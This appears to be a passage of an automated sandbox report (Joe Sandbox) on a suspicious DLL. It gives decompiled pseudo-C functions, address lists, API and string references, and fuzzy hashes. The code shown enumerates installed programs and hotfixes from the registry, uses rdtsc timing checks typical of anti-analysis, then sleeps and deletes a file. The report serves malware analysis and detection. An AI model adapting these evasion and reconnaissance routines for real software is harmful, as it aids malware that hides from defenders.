				E000007FE7FEF47329C0(_t883, _t824 + 0x1d8, _t623); // executed
				 *((long long*)(_t824 + 0x1b0)) = 7;
				 *(_t824 + 0x1a8) = _t819;
				 *((short*)(_t824 + 0x198)) = 0;
				r8d = 0;
				E000007FE7FEF4728E10(_t631, _t824 + 0x198, 0xf476ad38,  *((intOrPtr*)(_t824 - 0x60)), _t623);
				 *(_t826 + 0x20) = _t819;
				_t482 = E000007FE7FEF4728B30(_t506, _t631, _t824 + 0xf8,  *(_t824 + 0x108));
				r8d = 0;
				if (_t482 == 0) goto 0xf4726bcd;
				E000007FE7FEF4728440(_t631, _t824 + 0x198, _t824 + 0xf8,  *((intOrPtr*)(_t824 - 0x60)), _t824,  *(_t824 + 0x108), _t883 | 0xffffffff);
				 *(_t826 + 0x20) = _t819;
				if (E000007FE7FEF4728B30(_t506, _t631, _t824 + 0x178,  *(_t824 + 0x188)) == 0) goto 0xf4726d16;
				 *((long long*)(_t824 - 0x68)) = _t826 + 0x30;
				 *((long long*)(_t824 - 0x58)) = _t826 + 0x58;
				 *(_t826 + 0x50) = _t826 + 0x78;
				 *((long long*)(_t826 + 0x48)) = 7;
				 *(_t826 + 0x40) = _t819;
				 *((short*)(_t826 + 0x30)) = 0;
				r8d = 0;
				E000007FE7FEF4728440(_t631, _t826 + 0x30, _t824 + 0x198,  *((intOrPtr*)(_t824 - 0x60)), _t824,  *(_t824 + 0x188), _t883 | 0xffffffff);
				 *((long long*)(_t826 + 0x70)) = 7;
				 *(_t826 + 0x68) = _t819;
				 *((short*)(_t826 + 0x58)) = 0;
				r8d = 0;
				E000007FE7FEF4728440(_t631, _t826 + 0x58, _t824 + 0x218, _t823, _t824,  *(_t824 + 0x188), _t883 | 0xffffffff);
				 *((long long*)(_t824 - 0x70)) = 7;
				 *(_t824 - 0x78) = _t819;
				 *((short*)(_t826 + 0x78)) = 0;
				r8d = 0;
				E000007FE7FEF4728440(_t631, _t826 + 0x78, _t824 + 0x1f8, _t823, _t824,  *(_t824 + 0x188), _t883 | 0xffffffff);
				 *((long long*)(_t824 + 0x170)) = 7;
				 *(_t824 + 0x168) = _t819;
				 *((short*)(_t824 + 0x158)) = 0;
				r8d = 0;
				E000007FE7FEF4728440(_t631, _t824 + 0x158, _t824 + 0x178, _t823, _t824,  *(_t824 + 0x188), _t883 | 0xffffffff);
				 *((intOrPtr*)(_t826 + 0x28)) =  *_t880;
				 *(_t826 + 0x20) = _t826 + 0x30;
				E000007FE7FEF4724700(_t824 - 0x20, _t824 + 0x158, _t826 + 0x78, _t826 + 0x58);
				E000007FE7FEF4726F10(E000007FE7FEF4725E10(_t631, _t824 + 0x70, _t826 + 0x30, _t823, _t826 + 0x58), E000007FE7FEF4728B30(_t506, _t631, _t824 + 0x178,  *(_t824 + 0x188)), _t631, _t881, _t826 + 0x30);
				E000007FE7FEF4724F50(_t631, _t824 - 0x20);
				if ( *((long long*)(_t824 + 0x1b0)) - 8 < 0) goto 0xf4726d2c;
				E000007FE7FEF4741974( *((intOrPtr*)(_t824 + 0x198)));
				 *((long long*)(_t824 + 0x1b0)) = 7;
				 *(_t824 + 0x1a8) = _t819;
				 *((short*)(_t824 + 0x198)) = 0;
				if ( *((long long*)(_t824 + 0x1f0)) - 8 < 0) goto 0xf4726d5b;
				E000007FE7FEF4741974( *((intOrPtr*)(_t824 + 0x1d8)));
				 *((long long*)(_t824 + 0x1f0)) = 7;
				 *(_t824 + 0x1e8) = _t819;
				 *((short*)(_t824 + 0x1d8)) = 0;
				if ( *((long long*)(_t824 + 0x230)) - 8 < 0) goto 0xf4726d8a;
				E000007FE7FEF4741974( *((intOrPtr*)(_t824 + 0x218)));
				 *((long long*)(_t824 + 0x230)) = 7;
				 *(_t824 + 0x228) = _t819;
				 *((short*)(_t824 + 0x218)) = 0;
				if ( *((long long*)(_t824 + 0x210)) - 8 < 0) goto 0xf4726db9;
				E000007FE7FEF4741974( *((intOrPtr*)(_t824 + 0x1f8)));
				 *((long long*)(_t824 + 0x210)) = 7;
				 *(_t824 + 0x208) = _t819;
				 *((short*)(_t824 + 0x1f8)) = 0;
				if ( *((long long*)(_t824 + 0x190)) - 8 < 0) goto 0xf4726de8;
				E000007FE7FEF4741974( *((intOrPtr*)(_t824 + 0x178)));
				 *((long long*)(_t824 + 0x190)) = 7;
				 *(_t824 + 0x188) = _t819;
				 *((short*)(_t824 + 0x178)) = 0;
				if ( *((long long*)(_t824 + 0x1d0)) - 8 < 0) goto 0xf4726e17;
				E000007FE7FEF4741974( *(_t824 + 0x1b8));
				 *((long long*)(_t824 + 0x1d0)) = 7;
				 *(_t824 + 0x1c8) = _t819;
				 *(_t824 + 0x1b8) = 0;
				if ( *((long long*)(_t824 + 0x130)) - 8 < 0) goto 0xf4726e46;
				E000007FE7FEF4741974( *((intOrPtr*)(_t824 + 0x118)));
				 *((long long*)(_t824 + 0x130)) = 7;
				 *(_t824 + 0x128) = _t819;
				 *((short*)(_t824 + 0x118)) = 0;
				if ( *((long long*)(_t824 + 0x110)) - 8 < 0) goto 0xf4726e75;
				E000007FE7FEF4741974( *((intOrPtr*)(_t824 + 0xf8)));
				 *((long long*)(_t824 + 0x110)) = 7;
				 *(_t826 + 0x50) = 0;
				 *(_t824 + 0x108) = _t819;
				E000007FE7FEF47239D0(_t824 + 0xf8, _t826 + 0x50);
				E000007FE7FEF4723B40(_t826 + 0x30, _t824 + 0x138);
				goto 0xf4726eae;
				E000007FE7FEF4723B40(_t826 + 0x30, _t824 + 0x270);
				if (_t631 + 0x20 !=  *(_t824 + 0x260)) goto 0xf4725f80;
				0xf4728090();
				return E000007FE7FEF4740F90(L"Hotfix" & 0x0000ffff, 0, _t522, _t523,  *(_t824 + 0x290) ^ _t826, _t826 + 0x50, _t826 + 0x78);
			}

0x7fef4725ee0
0x7fef4725eec
0x7fef4725ef4
0x7fef4725efb
0x7fef4725f03
0x7fef4725f0b
0x7fef4725f12
0x7fef4725f15
0x7fef4725f1c
0x7fef4725f1f
0x7fef4725f22
0x7fef4725f26
0x7fef4725f2b
0x7fef4725f2e
0x7fef4725f35
0x7fef4725f3d
0x7fef4725f44
0x7fef4725f4b
0x7fef4725f59
0x7fef4725f5f
0x7fef4725f6d
0x7fef4725f73
0x7fef4725f77
0x7fef4725f80
0x7fef4725f88
0x7fef4725f8c
0x7fef4725f94
0x7fef4725f9f
0x7fef4725fa4
0x7fef4725fb0
0x7fef4725fb5
0x7fef4725fbb
0x7fef4725fc6
0x7fef4725fd1
0x7fef4725fd6
0x7fef4725fdb
0x7fef4725fdb
0x7fef4725feb
0x7fef4725fff
0x7fef4726013
0x7fef4726024
0x7fef4726033
0x7fef472603a
0x7fef4726040
0x7fef472604b
0x7fef4726050
0x7fef4726055
0x7fef4726055
0x7fef4726065
0x7fef4726079
0x7fef4726081
0x7fef4726085
0x7fef4726095
0x7fef4726097
0x7fef47260a2
0x7fef47260a9
0x7fef47260b0
0x7fef47260b0
0x7fef47260c2
0x7fef47260d8
0x7fef47260dd
0x7fef47260e6
0x7fef47260e8
0x7fef47260f6
0x7fef47260f8
0x7fef47260fb
0x7fef47260fd
0x7fef4726104
0x7fef4726106
0x7fef4726112
0x7fef472611b
0x7fef4726120
0x7fef472612d
0x7fef4726134
0x7fef472613f
0x7fef4726141
0x7fef472614d
0x7fef4726156
0x7fef472615e
0x7fef4726166
0x7fef472616d
0x7fef4726174
0x7fef472617b
0x7fef4726182
0x7fef4726185
0x7fef472618f
0x7fef4726198
0x7fef472619d
0x7fef47261b2
0x7fef47261b8
0x7fef47261c1
0x7fef47261c6
0x7fef47261cb
0x7fef47261cb
0x7fef47261db
0x7fef47261ef
0x7fef47261f5
0x7fef4726200
0x7fef4726207
0x7fef472620e
0x7fef472620e
0x7fef4726220
0x7fef4726236
0x7fef472623c
0x7fef4726245
0x7fef472624a
0x7fef472624f
0x7fef472624f
0x7fef472625f
0x7fef4726273
0x7fef4726279
0x7fef4726284
0x7fef472628b
0x7fef4726292
0x7fef4726292
0x7fef47262a4
0x7fef47262ba
0x7fef47262c0
0x7fef47262c9
0x7fef47262ce
0x7fef47262d3
0x7fef47262d3
0x7fef47262e3
0x7fef47262f7
0x7fef47262fd
0x7fef4726305
0x7fef472630a
0x7fef472630f
0x7fef472631b
0x7fef4726320
0x7fef4726325
0x7fef4726334
0x7fef472633b
0x7fef4726341
0x7fef472634c
0x7fef4726353
0x7fef472635a
0x7fef472636e
0x7fef4726373
0x7fef4726381
0x7fef4726384
0x7fef472638a
0x7fef4726399
0x7fef47263ae
0x7fef47263b6
0x7fef47263bc
0x7fef47263c6
0x7fef47263cd
0x7fef47263d9
0x7fef47263dc
0x7fef47263e9
0x7fef47263eb
0x7fef47263ed
0x7fef47263fd
0x7fef4726401
0x7fef4726407
0x7fef4726410
0x7fef4726412
0x7fef4726416
0x7fef472641f
0x7fef4726434
0x7fef472643c
0x7fef4726445
0x7fef472644c
0x7fef4726458
0x7fef472645b
0x7fef4726468
0x7fef472646a
0x7fef472646c
0x7fef4726475
0x7fef4726479
0x7fef472647b
0x7fef4726484
0x7fef4726486
0x7fef472648a
0x7fef4726493
0x7fef47264a4
0x7fef47264ac
0x7fef47264b5
0x7fef47264bc
0x7fef47264c8
0x7fef47264cb
0x7fef47264d8
0x7fef47264da
0x7fef47264dc
0x7fef47264e5
0x7fef47264e9
0x7fef47264eb
0x7fef47264ee
0x7fef47264f4
0x7fef47264f6
0x7fef47264fa
0x7fef4726503
0x7fef4726505
0x7fef4726508
0x7fef472650a
0x7fef4726511
0x7fef4726513
0x7fef472651f
0x7fef4726528
0x7fef4726530
0x7fef4726536
0x7fef4726543
0x7fef472654a
0x7fef4726551
0x7fef4726551
0x7fef4726563
0x7fef4726579
0x7fef472658d
0x7fef47265a1
0x7fef47265ae
0x7fef47265ba
0x7fef47265c5
0x7fef47265c9
0x7fef47265d4
0x7fef47265db
0x7fef47265e2
0x7fef47265e9
0x7fef47265fa
0x7fef4726600
0x7fef472660b
0x7fef4726612
0x7fef472661c
0x7fef472662d
0x7fef4726633
0x7fef472663e
0x7fef4726645
0x7fef472664f
0x7fef4726660
0x7fef4726666
0x7fef472666e
0x7fef4726672
0x7fef472667a
0x7fef4726689
0x7fef4726693
0x7fef472669e
0x7fef47266ba
0x7fef47266d2
0x7fef47266dc
0x7fef47266ea
0x7fef47266f3
0x7fef47266f8
0x7fef4726704
0x7fef472670d
0x7fef4726712
0x7fef472671d
0x7fef4726724
0x7fef4726733
0x7fef472673c
0x7fef4726741
0x7fef472674c
0x7fef4726753
0x7fef4726762
0x7fef472676b
0x7fef4726770
0x7fef472677b
0x7fef4726782
0x7fef4726791
0x7fef472679a
0x7fef472679f
0x7fef47267aa
0x7fef47267b1
0x7fef47267c0
0x7fef47267c9
0x7fef47267ce
0x7fef47267d9
0x7fef47267e0
0x7fef47267ee
0x7fef47267f3
0x7fef47267fd
0x7fef4726803
0x7fef4726806
0x7fef472680f
0x7fef4726815
0x7fef472681d
0x7fef472681f
0x7fef4726824
0x7fef4726831
0x7fef4726838
0x7fef472683f
0x7fef4726850
0x7fef4726856
0x7fef4726861
0x7fef4726868
0x7fef472686f
0x7fef4726880
0x7fef4726886
0x7fef472688f
0x7fef4726894
0x7fef472689d
0x7fef47268a8
0x7fef47268b9
0x7fef47268bf
0x7fef47268c8
0x7fef47268cd
0x7fef47268d6
0x7fef47268e5
0x7fef47268ea
0x7fef47268f5
0x7fef47268fa
0x7fef4726900
0x7fef4726911
0x7fef4726923
0x7fef472692b
0x7fef4726935
0x7fef472693f
0x7fef4726948
0x7fef472694d
0x7fef472695a
0x7fef4726961
0x7fef4726972
0x7fef472697f
0x7fef4726988
0x7fef4726998
0x7fef47269aa
0x7fef47269b2
0x7fef47269bc
0x7fef47269c6
0x7fef47269cf
0x7fef47269d4
0x7fef47269e1
0x7fef47269e8
0x7fef47269f9
0x7fef4726a06
0x7fef4726a0f
0x7fef4726a17
0x7fef4726a1c
0x7fef4726a20
0x7fef4726a2b
0x7fef4726a30
0x7fef4726a35
0x7fef4726a35
0x7fef4726a45
0x7fef4726a59
0x7fef4726a5f
0x7fef4726a6a
0x7fef4726a71
0x7fef4726a78
0x7fef4726a89
0x7fef4726a8f
0x7fef4726aa9
0x7fef4726ab2
0x7fef4726ac5
0x7fef4726ace
0x7fef4726ad3
0x7fef4726adc
0x7fef4726ae1
0x7fef4726ae6
0x7fef4726af8
0x7fef4726b0c
0x7fef4726b1d
0x7fef4726b2f
0x7fef4726b43
0x7fef4726b55
0x7fef4726b5b
0x7fef4726b66
0x7fef4726b6d
0x7fef4726b74
0x7fef4726b85
0x7fef4726b8b
0x7fef4726ba5
0x7fef4726bae
0x7fef4726bc4
0x7fef4726bcd
0x7fef4726bd2
0x7fef4726bf3
0x7fef4726bfe
0x7fef4726c07
0x7fef4726c10
0x7fef4726c15
0x7fef4726c1e
0x7fef4726c23
0x7fef4726c2b
0x7fef4726c3a
0x7fef4726c40
0x7fef4726c49
0x7fef4726c4e
0x7fef4726c56
0x7fef4726c65
0x7fef4726c6b
0x7fef4726c73
0x7fef4726c77
0x7fef4726c7f
0x7fef4726c8e
0x7fef4726c94
0x7fef4726c9f
0x7fef4726ca6
0x7fef4726cb0
0x7fef4726cc1
0x7fef4726ccb
0x7fef4726cd4
0x7fef4726cee
0x7fef4726d06
0x7fef4726d10
0x7fef4726d1e
0x7fef4726d27
0x7fef4726d2c
0x7fef4726d37
0x7fef4726d3e
0x7fef4726d4d
0x7fef4726d56
0x7fef4726d5b
0x7fef4726d66
0x7fef4726d6d
0x7fef4726d7c
0x7fef4726d85
0x7fef4726d8a
0x7fef4726d95
0x7fef4726d9c
0x7fef4726dab
0x7fef4726db4
0x7fef4726db9
0x7fef4726dc4
0x7fef4726dcb
0x7fef4726dda
0x7fef4726de3
0x7fef4726de8
0x7fef4726df3
0x7fef4726dfa
0x7fef4726e09
0x7fef4726e12
0x7fef4726e17
0x7fef4726e22
0x7fef4726e29
0x7fef4726e38
0x7fef4726e41
0x7fef4726e46
0x7fef4726e51
0x7fef4726e58
0x7fef4726e67
0x7fef4726e70
0x7fef4726e75
0x7fef4726e80
0x7fef4726e85
0x7fef4726e98
0x7fef4726ea5
0x7fef4726eaa
0x7fef4726eb5
0x7fef4726ecc
0x7fef4726ed9
0x7fef4726f0a

APIs

Part of subcall function 000007FEF4732840: RegEnumKeyExW.ADVAPI32 ref: 000007FEF47328C3
Part of subcall function 000007FEF4732840: RegEnumKeyExW.ADVAPI32 ref: 000007FEF473297F

Part of subcall function 000007FEF4732740: RegOpenKeyExW.ADVAPI32 ref: 000007FEF47327B5

Part of subcall function 000007FEF47329C0: RegQueryValueExW.ADVAPI32 ref: 000007FEF4732A2E
Part of subcall function 000007FEF47329C0: _itow_s.LIBCMT ref: 000007FEF4732A58

std::locale::_Init.LIBCPMT ref: 000007FEF4726198

Strings

UninstallString, xrefs: 000007FEF4726555
SystemComponent, xrefs: 000007FEF4725FDF
Security Update, xrefs: 000007FEF47263CF
ReleaseType, xrefs: 000007FEF47261CF
DisplayName, xrefs: 000007FEF4726253, 000007FEF4726A39
WindowsInstaller, xrefs: 000007FEF4726059, 000007FEF47260B4
DisplayIcon, xrefs: 000007FEF47262D7, 000007FEF4726B35
Hotfix, xrefs: 000007FEF47264BE
DisplayVersion, xrefs: 000007FEF4726212, 000007FEF4726AEC
ProductIcon, xrefs: 000007FEF472698D
ProductName, xrefs: 000007FEF4726906
Update Rollup, xrefs: 000007FEF472644E
ParentKeyName, xrefs: 000007FEF4726360
InstallLocation, xrefs: 000007FEF4726296, 000007FEF4726B12

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Enum$InitOpenQueryValue_itow_sstd::locale::_
String ID: DisplayIcon$DisplayName$DisplayVersion$Hotfix$InstallLocation$ParentKeyName$ProductIcon$ProductName$ReleaseType$Security Update$SystemComponent$UninstallString$Update Rollup$WindowsInstaller
API String ID: 206487328-3444377402
Opcode ID: b742f4508fc752c165102ff0c65eb58b82499edf922a7509d1e1beb1e41688e7
Instruction ID: b2ef38a359f414df47e3c70ae24197a57b065a22f4f0374015000abd512ce991
Opcode Fuzzy Hash: b742f4508fc752c165102ff0c65eb58b82499edf922a7509d1e1beb1e41688e7
Instruction Fuzzy Hash: 6E924E32619AC2D5EBB09F24D844BEA73A1FB41398F405226D65C4BAF9DFB8D745C700

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4734F60 Relevance: 16.7, APIs: 6, Strings: 3, Instructions: 992
COMMONCrypto

Download Yara Rule

C-Code - Quality: 53%

			E000007FE7FEF4734F60(void* __edx, void* __edi, void* __esi, long long __rbx, signed int __rcx, long long __rdi, signed long long __rsi, void* __r8, signed long long __r9, void* __r11) {
				void* __rbp;
				void* __r14;
				void* _t486;
				void* _t492;
				void* _t589;
				void* _t591;
				void* _t623;
				void* _t625;
				void* _t644;
				void* _t645;
				void* _t646;
				void* _t684;
				void* _t687;
				void* _t697;
				void* _t742;
				signed long long _t743;
				signed long long _t744;
				intOrPtr* _t749;
				signed long long _t750;
				void* _t758;
				intOrPtr _t759;
				void* _t760;
				signed long long _t762;
				signed long long _t764;
				char* _t765;
				long long _t773;
				void* _t776;
				void* _t777;
				long long _t784;
				intOrPtr* _t803;
				void* _t826;
				void* _t852;
				long long _t865;
				void* _t897;
				intOrPtr _t947;
				void* _t1000;
				signed long long _t1022;
				void* _t1031;
				long long _t1038;
				char* _t1044;
				signed long long _t1053;
				void* _t1055;
				long long _t1057;
				void* _t1061;
				void* _t1062;
				signed long long _t1063;
				void* _t1065;
				void* _t1119;
				signed long long _t1122;
				short* _t1133;
				void* _t1145;
				signed int _t1159;

				_t1150 = __r11;
				_t1122 = __r9;
				_t1065 = __r8;
				_t1053 = __rsi;
				_t1036 = __rdi;
				_t784 = __rbx;
				_t643 = __esi;
				_t641 = __edi;
				_t630 = __edx;
				_t742 = _t1062;
				_t1061 = _t742 - 0x4d8;
				_t1063 = _t1062 - 0x5b0;
				 *((long long*)(_t1061 - 0x50)) = 0xfffffffe;
				 *((long long*)(_t742 + 0x10)) = __rbx;
				 *((long long*)(_t742 + 0x18)) = __rsi;
				 *((long long*)(_t742 + 0x20)) = __rdi;
				asm("movaps [eax-0x38], xmm6");
				_t743 =  *0xf4777530; // 0xf9634ebbaa1d
				_t744 = _t743 ^ _t1063;
				 *(_t1061 + 0x490) = _t744;
				_t1159 = __rcx;
				E000007FE7FEF4738BC0(_t625, __edx, __edi, __esi, _t646, __rbx, __rcx, __rcx, __rsi, __r9, __r11);
				asm("rdtsc");
				asm("rdtsc");
				_t747 = (_t744 | __rcx << 0x00000020 | __rcx << 0x00000020 << 0x00000020) - (_t744 | __rcx << 0x00000020);
				r12d = 0;
				r12b = (_t744 | __rcx << 0x00000020 | __rcx << 0x00000020 << 0x00000020) - (_t744 | __rcx << 0x00000020) - 0x1f4 > 0;
				if (r12d != 1) goto 0xf4734fe2;
				goto 0xf4736115;
				 *((long long*)(_t1061 + 0x170)) = 0xf;
				 *((long long*)(_t1061 + 0x168)) = _t784;
				 *((char*)(_t1061 + 0x158)) = 0;
				r8d = 0;
				E000007FE7FEF4722D50(_t784, _t1061 + 0x158, 0xf476a763, _t1053, _t1065);
				E000007FE7FEF4738E00(_t784, _t1061 + 0x158, _t1053, _t1061, _t1065, _t1122);
				_t12 = _t1159 + 0x5c0; // 0x5c0
				E000007FE7FEF47234E0(_t630, __edi, _t643, r12d - 1, _t784, _t1061 + 0x58, _t12, _t1122, _t1150);
				E000007FE7FEF473D9A0(_t747, _t1061 - 0x48, _t747);
				r8d = r8d ^ r8d;
				E000007FE7FEF473C8D0(_t784, _t1061 + 0x158, _t747, __rdi, _t1053, _t1061, _t747, _t1122 | 0xffffffff);
				if ( *((long long*)(_t1061 - 0x30)) - 0x10 < 0) goto 0xf4735065;
				E000007FE7FEF4741974( *((intOrPtr*)(_t1061 - 0x48)));
				 *((long long*)(_t1061 - 0x30)) = 0xf;
				 *((long long*)(_t1061 - 0x38)) = _t784;
				 *((char*)(_t1061 - 0x48)) = 0;
				if ( *((long long*)(_t1061 + 0x70)) - 0x10 < 0) goto 0xf4735085;
				E000007FE7FEF4741974( *((intOrPtr*)(_t1061 + 0x58)));
				r8d = 0x110;
				E000007FE7FEF47486A0(_t625, 0, __edi, _t645, _t1061 + 0x380, _t747, _t747);
				E000007FE7FEF473BE20(_t784, _t1061 + 0x380, _t1061 + 0x158); // executed
				E000007FE7FEF473A8E0(_t1061 + 0x380, _t1061 + 0x158); // executed
				 *((long long*)(_t1061 - 0x10)) = 0xf;
				 *((long long*)(_t1061 - 0x18)) = _t784;
				 *((char*)(_t1061 - 0x28)) = 0;
				r8d = 0;
				E000007FE7FEF4722D50(_t784, _t1061 - 0x28, 0xf476a763, _t1053, _t747);
				 *((long long*)(_t1061 + 0x150)) = 0xf;
				 *((long long*)(_t1061 + 0x148)) = _t784;
				 *((char*)(_t1061 + 0x138)) = 0;
				r8d = 0;
				E000007FE7FEF4722D50(_t784, _t1061 + 0x138, 0xf476a763, _t1053, _t747);
				_t749 = _t1061 + 0x380;
				E000007FE7FEF47331A0( *((intOrPtr*)( *((intOrPtr*)(_t1061 + 0x380)) + 4)) + _t749, _t1061 - 0x58);
				E000007FE7FEF473D840(_t784, _t749, _t1036, _t1053);
				_t803 =  *((intOrPtr*)(_t1061 - 0x58));
				if (_t803 == 0) goto 0xf4735151;
				 *((intOrPtr*)( *_t803 + 0x10))();
				if (_t749 == 0) goto 0xf4735151;
				 *((intOrPtr*)( *_t749))();
				_t750 =  *_t749;
				 *((intOrPtr*)(_t750 + 0x40))();
				r8d = 0;
				_t486 = E000007FE7FEF473F6E0(_t644, _t784, _t1061 + 0x380, _t1061 + 0x138); // executed
				if (( *( *((intOrPtr*)( *_t750 + 4)) + _t750 + 0x10) & 0x00000006) != 0) goto 0xf4735291;
				_t1055 =  <  ?  *((void*)(_t1061 + 0x148)) : _t1053 | 0xffffffff;
				_t947 =  *((intOrPtr*)(_t1061 - 0x18));
				if ((_t750 | 0xffffffff) - _t947 - _t1055 <= 0) goto 0xf4735284;
				if (_t1055 == 0) goto 0xf473525c;
				_t1038 = _t947 + _t1055;
				if (_t1038 - 0xfffffffe > 0) goto 0xf4735277;
				if ( *((intOrPtr*)(_t1061 - 0x10)) - _t1038 >= 0) goto 0xf47351e5;
				E000007FE7FEF47230C0(_t486, _t1061 - 0x28, _t1038, _t947);
				goto 0xf4735200;
				if (_t1038 != 0) goto 0xf4735205;
				 *((long long*)(_t1061 - 0x18)) = _t784;
				_t754 =  >=  ?  *((void*)(_t1061 - 0x28)) : _t1061 - 0x28;
				 *( >=  ?  *((void*)(_t1061 - 0x28)) : _t1061 - 0x28) = dil;
				goto 0xf473525c;
				if (_t1038 == 0) goto 0xf473525c;
				_t756 =  >=  ?  *((void*)(_t1061 + 0x138)) : _t1061 + 0x138;
				_t1125 =  >=  ?  *((intOrPtr*)(_t1061 - 0x28)) : _t1061 - 0x28;
				if (_t1055 == 0) goto 0xf4735248;
				_t950 =  >=  ?  *((void*)(_t1061 + 0x138)) : _t1061 + 0x138;
				E000007FE7FEF4740FC0(_t625, __edi, _t643, _t645,  *((intOrPtr*)(_t1061 - 0x18)) + ( >=  ?  *((intOrPtr*)(_t1061 - 0x28)) : _t1061 - 0x28),  >=  ?  *((void*)(_t1061 + 0x138)) : _t1061 + 0x138, _t1055);
				 *((long long*)(_t1061 - 0x18)) = _t1038;
				_t758 =  >=  ?  *((intOrPtr*)(_t1061 - 0x28)) : _t1061 - 0x28;
				 *((char*)(_t758 + _t1038)) = 0;
				r8d = 1;
				0xf473ca00();
				goto 0xf4735105;
				E000007FE7FEF47589A8(_t625, 0xa, __edi, _t645,  *((intOrPtr*)(_t1061 - 0x10)) - 0x10, _t758, _t784, "string too long", _t1038, _t1055,  *((intOrPtr*)(_t1061 - 0x28)),  >=  ?  *((intOrPtr*)(_t1061 - 0x28)) : _t1061 - 0x28);
				asm("int3");
				E000007FE7FEF47589A8(_t625, 0xa, __edi, _t645,  *((intOrPtr*)(_t1061 - 0x10)) - 0x10, _t758, _t784, "string too long", _t1038, _t1055,  *((intOrPtr*)(_t1061 - 0x28)),  >=  ?  *((intOrPtr*)(_t1061 - 0x28)) : _t1061 - 0x28);
				asm("int3");
				E000007FE7FEF473D010(_t784, _t1061 + 0x390, _t1055); // executed
				if (_t758 != 0) goto 0xf47352cd;
				_t759 =  *((intOrPtr*)(_t1061 + 0x380));
				if ( *((long long*)(_t1061 +  *((intOrPtr*)(_t759 + 4)) + 0x380 + 0x48)) != 0) goto 0xf47352c5;
				r8d = 0;
				_t492 = E000007FE7FEF47330B0( *(_t1061 +  *((intOrPtr*)(_t759 + 4)) + 0x380 + 0x10) | 6,  *((long long*)(_t1061 +  *((intOrPtr*)(_t759 + 4)) + 0x380 + 0x48)), _t1061 +  *((intOrPtr*)(_t759 + 4)) + 0x380);
				Sleep(??); // executed
				E000007FE7FEF4734050(_t492, _t643, _t1061 + 0xd8, _t1055, _t1061 + 0x158);
				E000007FE7FEF4723290( *(_t1061 +  *((intOrPtr*)(_t759 + 4)) + 0x380 + 0x10) | 6, _t641, _t643,  *((long long*)(_t1061 +  *((intOrPtr*)(_t759 + 4)) + 0x380 + 0x48)), _t784, _t1061 + 0x58, _t1061 - 0x28,  >=  ?  *((intOrPtr*)(_t1061 - 0x28)) : _t1061 - 0x28);
				_t760 = _t1061 - 0x28;
				if (_t760 == _t759) goto 0xf4735331;
				if ( *((long long*)(_t1061 - 0x10)) - 0x10 < 0) goto 0xf4735315;
				E000007FE7FEF4741974( *((intOrPtr*)(_t1061 - 0x28)));
				 *((long long*)(_t1061 - 0x10)) = 0xf;
				 *((long long*)(_t1061 - 0x18)) = _t784;
				 *((char*)(_t1061 - 0x28)) = 0;
				E000007FE7FEF47229E0(_t784, _t1061 - 0x28, _t759);
				if ( *((long long*)(_t1061 + 0x70)) - 0x10 < 0) goto 0xf4735341;
				E000007FE7FEF4734050(E000007FE7FEF4741974( *((intOrPtr*)(_t1061 + 0x58))), _t643, _t1061 + 0x58, _t1055, _t1061 - 0x28);
				if (_t1061 + 0xd8 == _t760) goto 0xf473539b;
				if ( *((long long*)(_t1061 + 0xf0)) - 8 < 0) goto 0xf4735373;
				E000007FE7FEF4741974( *((intOrPtr*)(_t1061 + 0xd8)));
				 *((long long*)(_t1061 + 0xf0)) = 7;
				 *((long long*)(_t1061 + 0xe8)) = _t784;
				 *((short*)(_t1061 + 0xd8)) = 0;
				E000007FE7FEF4728120(_t784, _t1061 + 0xd8, _t760, _t1055);
				if ( *((long long*)(_t1061 + 0x70)) - 8 < 0) goto 0xf47353ab;
				E000007FE7FEF4741974( *((intOrPtr*)(_t1061 + 0x58)));
				_t826 =  >=  ?  *((void*)(_t1061 + 0xd8)) : _t1061 + 0xd8;
				DeleteFileW(??); // executed
				E000007FE7FEF4736150(0,  *(_t1061 +  *((intOrPtr*)(_t759 + 4)) + 0x380 + 0x10) | 6, _t784, _t1061 + 0x218, _t760, _t1055, _t1061 - 0x28,  >=  ?  *((intOrPtr*)(_t1061 - 0x28)) : _t1061 - 0x28); // executed
				E000007FE7FEF4736350(0, 0x3e8,  *(_t1061 +  *((intOrPtr*)(_t759 + 4)) + 0x380 + 0x10) | 6, _t641, _t643, _t784, _t1159, _t1061 + 0x238, _t1055, _t1061 - 0x28, _t1125, _t1150); // executed
				_t960 =  >=  ?  *((void*)(_t1061 + 0x238)) : _t1061 + 0x238;
				_t762 =  *((intOrPtr*)(_t1061 + 0x248));
				_t962 =  >=  ?  *((void*)(_t1061 + 0x238)) : _t1061 + 0x238;
				 *((long long*)(_t1061 + 0x70)) = 0xf;
				 *((long long*)(_t1061 + 0x68)) = _t784;
				 *((char*)(_t1061 + 0x58)) = 0;
				E000007FE7FEF473F620(_t784, _t1061 + 0x58,  >=  ?  *((void*)(_t1061 + 0x238)) : _t1061 + 0x238, _t1055, _t1061, ( >=  ?  *((void*)(_t1061 + 0x238)) : _t1061 + 0x238) + _t762 * 2, _t1159);
				E000007FE7FEF47231D0(0, _t641, _t762, _t784, _t1061 + 0x98, _t760, _t1055, _t1061, _t1061 + 0x58);
				_t122 = _t1159 + 0x80; // 0x80
				E000007FE7FEF47234E0( *(_t1061 +  *((intOrPtr*)(_t759 + 4)) + 0x380 + 0x10) | 6, _t641, _t643,  *((long long*)(_t1061 + 0x250)) - 8, _t784, _t1061 + 0x318, _t122, _t1125, _t1150);
				E000007FE7FEF473DD90(_t644, _t762, _t784, _t1063 + 0x40, _t1061 + 0x318, _t1055, _t1061, _t1061 + 0x98, _t1125, _t1159);
				if (_t1061 + 0x98 == _t762) goto 0xf47354ba;
				if ( *((long long*)(_t1061 + 0xb0)) - 0x10 < 0) goto 0xf4735492;
				E000007FE7FEF4741974( *((intOrPtr*)(_t1061 + 0x98)));
				 *((long long*)(_t1061 + 0xb0)) = 0xf;
				 *((long long*)(_t1061 + 0xa8)) = _t784;
				 *((char*)(_t1061 + 0x98)) = 0;
				E000007FE7FEF47229E0(_t784, _t1061 + 0x98, _t762);
